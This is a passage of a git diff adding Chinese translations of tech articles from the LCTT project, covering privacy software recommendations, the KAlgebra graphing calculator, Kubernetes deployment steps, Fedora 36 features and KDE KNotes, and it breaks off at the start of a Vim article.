+[Mullvad][23] 也提供了开源的客户端。有趣的是,它不需要你使用邮箱注册。 + +你只需生成一个用户 ID,然后就可以使用加密货币或信用卡购买服务。 + +### 使用保护隐私的搜索引擎,确保网络活动的安全 + +网上浏览信息会透露你的身份和工作。 + +不法组织可能会利用你的搜索内容,对你实施欺诈。 + +所以,能够保护隐私的搜索引擎就显得十分重要了。我推荐以下两款: + +#### 1、DuckDuckGo + +![][24] + +[DuckDuckGo][26] 是最流行的 [保护隐私的搜索引擎][25]之一,它声明不会记录用户的任何浏览数据。 + +一直以来,DuckDuckGo 也在不断提升自身的搜索结果质量,所以一般情况下你都可以搜索到想要的内容。 + +#### 2、Startpage + +![][27] + +[Startpage][28] 是一款很有趣的搜索引擎,外观和谷歌搜索相似,搜索结果也与谷歌搜索同步。不过,它不会收集你的信息。 + +如果你想要获取和谷歌搜索最相似的搜索结果,并且还希望可以使用隐私保护功能,那么你可以试试 Startpage。 + +### 使用安全的社交软件,保护聊天隐私 + +无论是政府还是软件本身,如果你不想别人在未经同意下获取你的聊天记录,你需要使用具有隐私保护功能的社交软件。 + +尽管大多数用户选择信赖 WhatsApp,但是它并不是最有效的隐私保护解决方案。当然,Facebook Messenger就更不用考虑了。 + +这里我推荐一些 [能够代替 WhatsApp 的社交软件][29]: + +#### 1、Signal + +![][30] + +[Signal][32] 是一款开源的社交软件,支持端对端加密,[可安装在 Linux 桌面上][31]。 + +它也有一些隐私保护功能,可以保证聊天对话的安全。 + +#### 2、Threema + +![][33] + +[Threema][34] 是一款付费软件,内置 Signal 的全部核心功能,无需手机号码即可登录使用。 + +这款软件也提供了办公版本。如果你的亲朋好友愿意一次性花费 3 美元购买一款软件,那么Threema 是一个不错的选择。 + +### 选用安全的操作系统,为隐私保护打好基础 + +可以理解,为了满足个人需求,你 [选择了 Windows,而没有选择 Linux][35]。 + +但是,如果你为了保护隐私,想换个系统,可以考虑下面这些 [安全的 Linux 发行版][36]。 + +#### 1、Linux Mint + +![][37] + +[Linux Mint][39] 可以满足日常所需,是一款非常出色的 Linux 发行版。它基于 Ubuntu,追求青出于蓝胜于蓝,[希望在一些方面做得更好][38] + +Linux Mint 通过关注用户的选择以及常规的安全升级,确保操作系统的安全。 + +#### 2、Qubes OS + +![][40] + +[Qubes OS][41] 专注安全和隐私问题。对新手来说,使用起来可能比较困难。 + +不过,如果你想尝试体验一下最安全、最强大的隐私保护操作系统,那你一定要试试 Qubes OS。 + +### 选择可靠的密码管理器,保护账号安全 + +如果不法分子可以轻易获取你的账户信息,那么就算你准备再多的隐私措施,也无济于事。 + +因此,你必须设置更强大、更复杂的密码。此外,要想做到这些,必须先有密码管理器。 + +在 [Linux 上最好的密码管理器][42] 之中,我建议使用下面这个: + +#### 1、Bitwarden + +![][43] + +[Bitwarden][44] 是一款开源的密码管理器,全部的主要功能均可免费使用。 + +解锁这款软件的高级功能,每年只需花费 10 美元。 + +### 总结 + +专注隐私保护的软件有很多,数不胜数。 + +但是,很多都只是打着“隐私保护”的幌子,实际上不过是营销噱头;还有一些则根本无法使用。 + +所以,坚持使用那些自己用过的、适合自己的软件,才是比较好的选择。 + +以上软件你喜欢哪些?最喜欢的又是哪一款呢?请在下方评论留言。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/privacy-tools/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: tmp.ETCQ3mkg7S#web +[2]: tmp.ETCQ3mkg7S#vpn +[3]: tmp.ETCQ3mkg7S#search +[4]: tmp.ETCQ3mkg7S#message +[5]: tmp.ETCQ3mkg7S#os +[6]: tmp.ETCQ3mkg7S#pwm +[7]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/tor-browser.png?resize=800%2C514&ssl=1 +[9]: https://itsfoss.com/tor-guide/ +[10]: https://www.torproject.org/download/ +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-proton.png?resize=800%2C450&ssl=1 +[12]: https://itsfoss.com/open-source-browsers-linux/ +[13]: https://news.itsfoss.com/why-mozilla-firefox/ +[14]: https://itsfoss.com/best-firefox-add-ons/ +[15]: https://www.mozilla.org/en-US/firefox/new/ +[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/brave-tab-management.png?resize=800%2C523&ssl=1 +[17]: https://linux.cn/article-13736-1.html +[18]: https://brave.com/ +[19]: https://itsfoss.com/best-vpn-linux/ +[20]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/protonvpn-ui.png?resize=789%2C800&ssl=1 +[21]: https://itsfoss.com/recommends/protonvpn/ +[22]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/mullvad-vpn.png?resize=800%2C460&ssl=1 +[23]: https://mullvad.net/en/ +[24]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/duckduckgo-light-v.png?resize=800%2C418&ssl=1 +[25]: https://itsfoss.com/privacy-search-engines/ +[26]: https://duckduckgo.com/ +[27]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/02/startpage-screenshot.jpg?resize=800%2C395&ssl=1 +[28]: https://startpage.com/ +[29]: https://itsfoss.com/private-whatsapp-alternatives/ +[30]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/signal-messenger-new.jpg?resize=800%2C450&ssl=1 +[31]: https://itsfoss.com/install-signal-ubuntu/ +[32]: https://signal.org/en/ +[33]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/threema.jpg?resize=800%2C450&ssl=1 +[34]: https://threema.ch/en +[35]: https://itsfoss.com/linux-better-than-windows/ +[36]: https://itsfoss.com/privacy-focused-linux-distributions/ +[37]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/linux-mint-20-3-screenshot.png?resize=800%2C449&ssl=1 +[38]: https://itsfoss.com/linux-mint-vs-ubuntu/ +[39]: https://linuxmint.com/ +[40]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/03/qubes-os.jpg?resize=800%2C450&ssl=1 +[41]: https://www.qubes-os.org/ +[42]: https://itsfoss.com/password-managers-linux/ +[43]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/bitwarden-firefox-extension.png?resize=800%2C500&ssl=1 +[44]: https://bitwarden.com/ diff --git a/published/202203/20220227 Math is fun with this Linux graphing calculator.md b/published/202203/20220227 Math is fun with this Linux graphing calculator.md new file mode 100644 index 0000000000..600f2c2c14 --- /dev/null +++ b/published/202203/20220227 Math is fun with this Linux graphing calculator.md @@ -0,0 +1,92 @@ +[#]: subject: "Math is fun with this Linux graphing calculator" +[#]: via: "https://opensource.com/article/22/2/kalgebra-linux-calculator" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14343-1.html" + +这个 Linux 图形计算器让数学很有趣 +====== + +> 就像你在高中时最喜欢的图形计算器一样,KAlgebra 是科学计算器的同时还有 2D 绘图仪等功能。 + +![](https://img.linux.net.cn/data/attachment/album/202203/10/094459uyvi79oza97iwwkp.jpg) + +如果你在高中时期一直盯着 TI-80 系列计算器,但后来就在也没动过它,那么你有时可能会渴望重温那些激动人心的代数和微积分岁月。Linux KDE 项目中的某个人一定也有这种感觉,因为有个 KDE 框架库 Analitza 提供了相关的语法和小部件,使你能够使用 K 系列应用(如图形计算器 KAlgebra)执行高级数学函数。 + +### 在 Linux 上安装 KAlgebra + +在 Linux 上,你可以从软件仓库安装 KAlgebra。例如,在 Fedora、Mageia 和类似设备上: + +``` +$ sudo dnf install kalgebra +``` + +在 Elementary、Linux Mint 和其他基于 Debian 的发行版上: + +``` +$ sudo apt install kalgebra +``` + +或者,你可以 [以 flatpak 安装它][2]。 + +### Linux 计算器 + +KAlgebra 与学校中使用的许多著名图形计算器一样,既是科学计算器又是 2D 绘图仪。但与我曾经使用过的任何图形计算器不同,它也是一个 3D 绘图仪。但在进入 3D 空间之前,先从一些基本语法开始。 + +在 KAlgebra 中表示方程时,你必须对数学符号进行一些小的翻译,因为它们通常是手写的,需要了解它们在计算机上的表示方式。例如,要将华氏度转换为摄氏度,公式为:(5÷9) × (n-32),其中 n 是华氏度。这通常是方程和数学函数的表达方式:它们使用 ÷ 和 × 之类的特殊符号以及 n 之类的变量,然后它们确定哪个变量代表什么样的值。你不一定知道每个特殊数学符号的含义,但只要你知道特殊符号具有特定含义,那么你就可以查找它。在温度转换示例中,符号很常见,因此你可能已经知道 ÷ 表示除法,× 表示乘法。 + +在 KAlgebra 中,与大多数编程语言一样,除法由正斜杠表示,乘法由星号表示,因此转换 70 华氏度的等式为 `(5/9)*(70-32)`。 + +KAlgebra 中还有用于常见数学运算的特殊功能,当你在 KAlgebra 中输入任何字母时,工具提示会为可用的函数提供潜在的自动补全功能。在 KAlgerbra 中编写温度转换方程的另一种方法是使用 `times` 函数:`times(5/9, 70-32)`。 + +当你完成数学问题时,已确定的变量会列在计算器的右栏中,包括 `ans` 值,该值会根据已完成方程的答案进行更新。那么理论上,你应该能够反转转换并从 `ans` 得出华氏温度。 + +![Temperature conversion in KAlgebra][3] + +### 图形计算器 + +数字很有趣,但当它们被用来绘制形状时,它们才真正变得有趣。图形上二维空间的可视化是所有学科发展的一项重要技能,其中最重要的是计算机编程。 + +要在图形上画一条线,你必须设置一个水平值(x 轴)或一个垂直值(y 轴),或者两者都设置。在常见的数学符号中,一条有效的直线方程就是 `x=5`。这会在图形的 0 原点上方 5 点处生成一条水平直线。然而,在 KAlgebra 中,你必须明确表示你只想用符号 `x->5` 来设置 x 值。 + +![A line in KAlgebra][5] + +除此之外,绘图与其他地方一样简单。你可以编写复杂的方程式,并且可以使用特殊函数,例如 `sin`。 + +![Sin wave and an s-curve][6] + +### Linux 上的 3D 图 + +当你进入 3D 图形选项卡时,你可能已经很好地理解了 KAlgebra 的语法,并且也超出了我的数学知识。我从电子学和合成中学到了关于笛卡尔图的所有知识,所以我对 3D 图最有趣的事情是将正弦波可视化为 3D 对象: + +![Sine waves in space][7] + +3D 图表和 2D 图表(除了一维)之间的区别在于 3D 图表中只能有一个图,因此请明智地选择方程式。 + +### 数学可以有趣吗? + +事实证明,是的,数学可以很有趣,答案就是一个很好的图形计算器。当我一直在通过数学课来弥补过去一些相当糟糕的数学成绩时,我想要是能使用计算器就好了。我发现 KAlgebra 是一个非常有用的工具,不仅可以解决任意问题,还可以理解方程的语法,以及函数的目的。无论你的数学成绩如何,请拿出你的 KAlgebra 计算器,运行一些数字。这真是非常有趣。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/kalgebra-linux-calculator + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/kalgebra-header.jpg?itok=BVm5kMq2 +[2]: https://opensource.com/article/21/11/install-flatpak-linux +[3]: https://opensource.com/sites/default/files/kalgebra-temperature_0.jpg (Temperature conversion in KAlgebra) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/sites/default/files/kalgebra-line-x.jpg (A line in KAlgebra) +[6]: https://opensource.com/sites/default/files/kalgebra-sin.jpg (Sin wave and an s-curve) +[7]: https://opensource.com/sites/default/files/kalgebra-sin-3d.jpg (Sine waves in space) diff --git a/published/202203/20220228 A visual map of a Kubernetes deployment.md b/published/202203/20220228 A visual map of a Kubernetes deployment.md new file mode 100644 index 0000000000..ee67c748a6 --- /dev/null +++ b/published/202203/20220228 A visual map of a Kubernetes deployment.md @@ -0,0 +1,72 @@ +[#]: subject: "A visual map of a Kubernetes deployment" +[#]: via: "https://opensource.com/article/22/3/visual-map-kubernetes-deployment" +[#]: author: "Nived Velayudhan https://opensource.com/users/nivedv" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14317-1.html" + +Kubernetes 部署的可视化地图 +====== + +> 通过查看创建一个吊舱或一个部署时的 10 个步骤,可以更好地了解 Kubernetes。 + +![](https://img.linux.net.cn/data/attachment/album/202203/01/095801szxq9lx5prdqkb5y.jpg) + +当你在 Kubernetes 上使用容器时,你经常把应用程序组合在一个吊舱pod中。当你把一个容器或一个吊舱发布到生产环境中时,它被称为一个部署deployment。如果你每天甚至每周都在使用 Kubernetes,你可能已经这样做过几百次了,但你有没有想过,当你创建一个吊舱或一个部署时到底会发生什么? + +我发现在高层次上了解事件链条是有帮助的。当然,你不一定要理解它。即使你不知道为什么,它仍然在工作。我不打算列出每一件发生的小事,但我的目标是涵盖所有重要的事情。 + +这里有一张 Kubernetes 不同组件如何互动的视觉地图。 + +![吊舱链条][2] + +你可能注意到,在上图中,我没有包括 etcd。API 服务器是唯一能够直接与 etcd 对话的组件,而且只有它能够对 etcd 进行修改。因此,你可以认为 etcd 在这张图中存在于(隐藏的)API 服务器后面。  + +另外,我在这里只讲到了两个主要的控制器(部署控制器Deployment controller复制集控制器ReplicaSet controller)。其他的控制器的工作方式类似。 + +下面的步骤描述了当你执行 `kubectl create` 命令时会发生什么。 + +### 步骤 1 ### + +当你使用 `kubectl create` 命令时,一个 HTTP POST 请求被发送到 API 服务器,其中包含部署清单。API 服务器将其存储在 etcd 数据存储中,并返回一个响应给 `kubectl`。 + +### 步骤 2 和 3 ### + +API 服务器有一个观察机制,所有观察它的客户都会得到通知。客户端通过打开与 API 服务器的 HTTP 连接来观察变化,API 服务器会流式地发出通知。其中一个客户端是部署控制器。部署控制器检测到一个部署Deployment对象,它用部署的当前规格创建一个复制集ReplicaSet。该资源被送回 API 服务器,并存储在 etcd 数据存储中。 + +### 步骤 4 和 5 ### + +与上一步类似,所有观察者都会收到关于 API 服务器中的变化的通知。这一次,复制集控制器会接收这一变化。该控制器了解所需的副本数量和对象规格中定义的吊舱选择器,创建吊舱资源,并将这些信息送回 API 服务器,存储在 etcd 数据存储中。 + +### 步骤 6 和 7 ### + +Kubernetes 现在拥有运行吊舱所需的所有信息,但吊舱应该在哪个节点上运行?调度器Scheduler观察那些还没有分配到节点的吊舱,并开始对所有节点进行过滤和排序,以选择最佳节点来运行吊舱。一旦节点被选中,该信息将被添加到吊舱规格中。而且它被送回 API 服务器并存储在 etcd 数据存储中。 + +### 步骤 8、9 和 10 ### + +到目前为止的所有步骤都发生在控制平面control plane本身。工作节点worker node还没有做任何工作。不过,吊舱的创建并不是由控制平面处理的。相反,在所有节点上运行的 `kubelet` 服务观察 API 服务器中的吊舱规格,以确定它是否需要创建任何吊舱。在调度器选择的节点上运行的 kubelet 服务获得吊舱规格,并指示工作节点上的容器运行时创建容器。这时就会下载一个容器镜像(如果它还不存在的话),容器就会实际开始运行。 + +### 理解 Kubernetes 的部署 + +对这个一般流程的理解可以帮助你理解 Kubernetes 中的许多事件。考虑一下 Kubernetes 中的守护进程集DaemonSet状态集StatefulSet。除了使用不同的控制器外,吊舱的创建过程是一样的。 + +课后作业:如果部署被修改为有三个应用程序的副本,导致创建吊舱的事件链条会是什么样子?你可以参考图表或列出的步骤,但你肯定有你需要弄清楚的知识。知识就是力量,你现在有了了解 Kubernetes 的一个重要组成部分。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/3/visual-map-kubernetes-deployment + +作者:[Nived Velayudhan][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/nivedv +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/containers_modules_networking_hardware_parts.png?itok=rPpVj92- (Parts, modules, containers for software) +[2]: https://opensource.com/sites/default/files/uploads/pod-chain_0.png (Pod chain) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ diff --git a/published/202203/20220228 Fedora 36 Release Date and New Features.md b/published/202203/20220228 Fedora 36 Release Date and New Features.md new file mode 100644 index 0000000000..29c37b044d --- /dev/null +++ b/published/202203/20220228 Fedora 36 Release Date and New Features.md @@ -0,0 +1,163 @@ +[#]: subject: "Fedora 36 Release Date and New Features" +[#]: via: "https://news.itsfoss.com/fedora-36-release-date-features/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14316-1.html" + +Fedora 36 发布时间表和新功能 +====== + +> Fedora 36 很快就要发布了,预期会有哪些功能呢?还有,它准备什么时候发布? + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fedora-36-release.jpg?w=1200&ssl=1) + +Fedora 36 是 [今年最值得期待的发布][1] 之一。 + +虽然我们期待每一个重要的发布,但去年,[Fedora 35][2] 以 GNOME 41 和一个新的 KDE 流派(Kinoite)让人期待它带来一些令人兴奋的变化。 + +别着急;如果你等不及要看到 Fedora 36,我将重点指出有关该版本的基本细节。 + +### Fedora 36 发布日期 + +按照官方的时间表,Fedora 36 测试版的早期发布日期是 **2022 年 3 月 15 日**。而且,Fedora 36 测试版的延迟发布日期(万一延迟)是 **2022 年 3 月 22 日**。 + +一旦公开测试完成,最终的发布日期可望在 **2022 年 4 月 19 日**。如果出现延迟,发布日期将被推至 **2022 年 4 月 26 日**。 + +你还应该注意,Fedora Linux 34 将在 **2022 年 5 月 17 日** 走到其生命的终点。 + +![][3] + +你现在可以尝试用每夜构建版来下载 Fedora 36(链接在本文底部),但是距离测试版发布还有几周时间,你应该等等。 + +### Fedora 36 功能 + +![][4] + +像往常一样,Fedora 36 拥有最新的 GNOME 以及其他的补充和改进。 + +主要的亮点包括: + +#### 1、GNOME 42 + +[GNOME 42][5] 是一次令人兴奋的升级,有各种视觉和功能的变化。 + +它还包括性能和视觉上的调整及其他改进。如果你没了解过 [GNOME 41 增加的功能][6],你也应该看看。 + +当然,你可以预期在 Fedora 36 中找到所有这些变化。在这里,我将重点指出那些 Fedora 36 中的细节(如果你没有用上 GNOME 42)。 + +### 2、全系统的深色模式 + +![][7] + +Fedora 36 享有从 GNOME 42 引入的全系统深色模式。 + +虽然在其他 Linux 发行版上有深色模式的实现,但 GNOME 42 帮助 Fedora 36 成为桌面用户的一个有吸引力的选择。 + +深色模式完美地融合在一起,给人一种干净的 GNOME 体验。 + +### 3、新壁纸 + +如果没有一张新的壁纸,其他的改进听起来都很乏味。 + +所以,Fedora 设计团队在 Fedora 36 中带来了一张制作精美的壁纸,这是一张风景插图,看起来很不错。 + +![][8] + +默认的壁纸有日间/夜间的变体。正如你所注意到的上面的白天的壁纸,下面是晚上的艺术作品。 + +![][8a] + +两者看起来都很奇妙,对眼睛也很舒畅。 + +### 4、Linux 内核 5.17 + +众所周知,Fedora 36 提供最新的 Linux 内核版本。截至目前,它正在运行即将发布的 Linux 内核 5.17 的候选版本。 + +随着 Fedora 36 的最终发布,你应该看到 Linux 内核 5.17 的稳定版本。 + +### 5、深色/浅色壁纸 + +除了 Fedora 36 的新默认壁纸之外,它还具有与 GNOME 42 一起引入的深色/浅色模式壁纸集。 + +![][9] + +截至目前,在测试 Fedora 36 工作站(预发布版本)时,我只能找到其中一张壁纸,而不是 GNOME 42 中的整个系列。 + +所以,你也许可以期待在 Fedora 36 测试版中增加更多的内容。 + +你可以从外观上选择壁纸及其可用的深色/浅色变体。 + +### 6、屏幕截图用户界面和本地屏幕录制 + +GNOME 42 引入的新的屏幕截图用户界面是一个奇妙的补充。另外,只需切换一下,你就可以开始录制你的屏幕了! + +![][10] + +你可以看到 Fedora 36 的这个功能,工作得非常好。 + +### 7、桌面环境更新 + +由于显而易见的原因,你应该在 Fedora 36 看到提供的最新的桌面环境。 + +最基本的应该是 GNOME 42、[KDE Plasma 5.24][11] 和 Xfce 4.16。 + +除此之外,LXQt 也已经更新到 1.0.0。 + +### 8、重要的技术变化 + +除了视觉上的变化和 Linux 内核的升级,Fedora 36 还有各种技术改进。 + +其中一些值得一提的包括: + + * 将系统的 openJDK 包从 Java 11 更新为 Java 17。 + * 引入了即将推出的 Golang 1.18 版本。 + * 将各种语言的字体切换为 Noto 字体作为默认字体,以确保文本渲染的一致性。 + * 今后自动升级时排除推荐软件包的行为(如果你没有安装它们)。 + * GNU 工具链更新至 gcc 12 和 glibc 2.35。 + * 修复某些情况下的升级性问题。 + * 默认的 Wayland 会话与 NVIDIA 专有驱动程序。 + * 更新 PHP 栈到最新的 8.1.x。 + * RPM 数据库将被重新定位到 `/usr` 目录,目前它在 `/var`。 + +关于更多的技术细节,你可以参考 [官方变更集][12]。如果你想下载预发布版本,你可以从下面的链接抓取 ISO。 + +- [Fedora 36(预发布)][13]。 + +### 总结 + +Fedora 36 将会是一个令人激动的版本。 + +当它发布时,我很期待在 Fedora 36 工作站上尝试 Wayland 会话与 NVIDIA 专有驱动程序。 + +你对这个版本有什么期待?请在下面的评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-36-release-date-features/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/linux-distro-releases-2022/ +[2]: https://news.itsfoss.com/fedora-35-release/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fedora-36-screen.jpg?w=1200&ssl=1 +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fedora-36-pre-neofetch.png?w=1008&ssl=1 +[5]: https://news.itsfoss.com/gnome-42-features/ +[6]: https://news.itsfoss.com/gnome-41-release/ +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fedora-36-dark-mode.jpg?resize=1568%2C740&ssl=1 +[8]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/f36-01-day.jpg?w=1200&ssl=1 +[8a]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/f36-02-night.jpg?w=1200&ssl=1 +[9]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fedora-36-pre-wallpapers.jpg?w=1126&ssl=1 +[10]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fedora-36-screenshot-tool.jpg?w=738&ssl=1 +[11]: https://news.itsfoss.com/kde-plasma-5-24-lts-release/ +[12]: https://fedoraproject.org/wiki/Releases/36/ChangeSet +[13]: https://kojipkgs.fedoraproject.org/compose/branched/latest-Fedora-36/compose/Workstation/x86_64/iso/ diff --git a/published/202203/20220228 Put sticky notes on your Linux KDE desktop.md b/published/202203/20220228 Put sticky notes on your Linux KDE desktop.md new file mode 100644 index 0000000000..897a7c1e86 --- /dev/null +++ b/published/202203/20220228 Put sticky notes on your Linux KDE desktop.md @@ -0,0 +1,86 @@ +[#]: subject: "Put sticky notes on your Linux KDE desktop" +[#]: via: "https://opensource.com/article/22/2/sticky-notes-linux-kde" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14346-1.html" + +在你的 Linux KDE 桌面上粘贴便签 +====== + +> 使用 Kontact 套件的功能 KNotes 温和地提醒你自己的日常任务。 + +![](https://img.linux.net.cn/data/attachment/album/202203/11/083349wujq4dbh6ccqb5kq.jpg) + +我记得我第一次参加一个“不算会议的”会议,起初这是一个混乱的活动,有很多社交和个人项目的分享,但它逐渐凝聚成一个主要是自发组织的技术活动。这一切并没有用魔法,而用的是便签。人们在那些彩色的粘性记事贴上写下演讲和演示的想法,并将它们贴在共同的墙上,其他人将类似的想法分组,最终每个人都知道聚集在哪里讨论特定的话题。这是一件美好而令人满意的见证,它让我对便签有了新的认识。所以我很高兴最近发现 KDE Plasma 桌面有了数字便签,而且在很多方面它们甚至比实体的更有用。该应用叫做 KNotes,如果你有随意的想法想记下来,那么你可能想在自己的 Linux 桌面贴上它。 + +### 安装 KNotes + +KNotes 是 Kontact 套件的一部分,这是 KDE 的个人信息管理器(PIM)。如果你正在运行 Plasma 桌面,那么你可能已经安装了 KNotes。如果没有,你可以从包管理器安装它: + +``` +$ sudo dnf install kontact +``` + +在基于 Debian 的发行版上,使用 `apt` 命令而不是 `dnf`。 + +### Linux 桌面上的 KNotes + +尽管 KNotes 是 Kontact 的一部分,但它也是一个可以在后台运行的独立应用,随时可以在你需要时生成空白便签。从你的应用菜单启动 KNotes,它会将自身最小化到你的系统托盘。它的图标是一个黄色的小方块,因为在便签在现实生活中变得丰富多彩之前,它们往往都是黄色的。 + +要创建新便签,请右键单击系统托盘中的 KNote 图标并选择 “新便签New Note”。第一次创建便签时,系统会提示你选择保存的位置。选择本地 KNotes 数据库文件(它由 Kontact 管理,因此你不会直接与该文件交互)并默认使用此位置。之后就不会再收到这种提示。 + +你的桌面上会出现一个新便签,你可以自己在其中输入。 + +![Start using KNotes][2] + +就这么简单。至少它可以像这种老式的纸质便签一样。但这些是数字版的 KDE KNotes,因此你可以做的不仅仅是记下一些提醒文本给自己。 + +### 更改便签颜色 + +当一堆黄色便签开始混合在一起,你可以对便签进行颜色编码。右键单击便签的标题栏(带有日期和时间的部分),然后从出现的上下文菜单中选择 “首选项Preferences”。在该窗口中,你可以更改标题和正文字体和字体大小,然后选择 “显示设置Display Settings” 选项卡以更改便签纸和字体的颜色。 + +![KNotes with added color][4] + +### 发送便签 + +以前自己写便签的时候,经常会在 [Emacs][5] 的暂存缓冲区中给自己写一些提醒。有更好的方法来管理 [Emacs 中的便签][6],但是我将便签内容记下后,之后心不在焉地关闭而没保存的习惯很难改掉。 + +有了 KNotes,便签会自动保存到 Kontact,因此你不必担心需要记着它们。更好的是,它们是数字的,因此你可以将它们发送给自己的其他设备。你可以通过电子邮件将便签发送给自己,也可以通过网络将它们发送到另一台计算机。只需右键单击便签的标题栏,你就可以选择“电子邮件Email”或“发送Send”。 + +要从一个到另一个 KDE Plasma 桌面以 KNotes 方式接收便签,你必须在接收机器上授予 KNotes 接收便签的权限。要允许传入便签,请右键单击系统托盘中的 KNotes 图标并选择 “配置 KnotesConfigure KNotes”。 + +![Configure KNotes][7] + +### 设置闹钟 + +至少对我来说,写便签通常是因为我答应了某人的事情,通常是在短期内,比如一天结束之前。随着我的工作和打开越来越多的窗口,贴在桌面上的便签往往会被掩盖,所以 KNotes 允许你为真正重要的便签设置闹钟,这一点特别有用。 + +要为便签设置闹钟,请右键单击便签的标题栏并选择 “设置闹钟Set alarm”。 + +### 在 Linux 上做便签 + +便笺是记录日常任务的简单而有趣的方法。它们不是对每个人都“有效”,也不是我跟踪每天要做的事情的唯一手段,但它们是很好的选择,而且在一天结束时,在删除已完成的便签前将它们移到“已完成”那一堆,没有什么比这更令人心满意足的了。试一试吧,这是个可能能坚持下去的习惯。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/sticky-notes-linux-kde + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) +[2]: https://opensource.com/sites/default/files/knote-yellow.jpg (Start using KNotes) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/sites/default/files/knote-color.jpg (KNotes with added color) +[5]: https://opensource.com/downloads/emacs-cheat-sheet +[6]: https://opensource.com/article/18/7/emacs-modes-note-taking +[7]: https://opensource.com/sites/default/files/knotes-preferences.jpg (Configure KNotes) diff --git a/published/202203/20220301 4 Vim features to use to improve productivity.md b/published/202203/20220301 4 Vim features to use to improve productivity.md new file mode 100644 index 0000000000..cf1d8cee72 --- /dev/null +++ b/published/202203/20220301 4 Vim features to use to improve productivity.md @@ -0,0 +1,103 @@ +[#]: subject: "4 Vim features to use to improve productivity" +[#]: via: "https://opensource.com/article/22/3/vim-features-productivity" +[#]: author: "Hunter Coleman https://opensource.com/users/hunterc" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14325-1.html" + +4 个用于提高生产力的 Vim 功能 +====== + +> Vim 有很多技巧,即使是用过它很多年的人仍然可以学习新东西。 + +![](https://img.linux.net.cn/data/attachment/album/202203/04/102118tgy1i7albn6ndiri.jpg) + +Vim 总在那里。Vim 是当今最流行的文本编辑器之一。这在很大程度上是因为它随处可见。当你通过 SSH 连接到另一个系统时,你可能找不到 [Emacs][2]、[Nano][3] 或 [VSCodium][4],但你可以放心,Vim 就在那里。 + 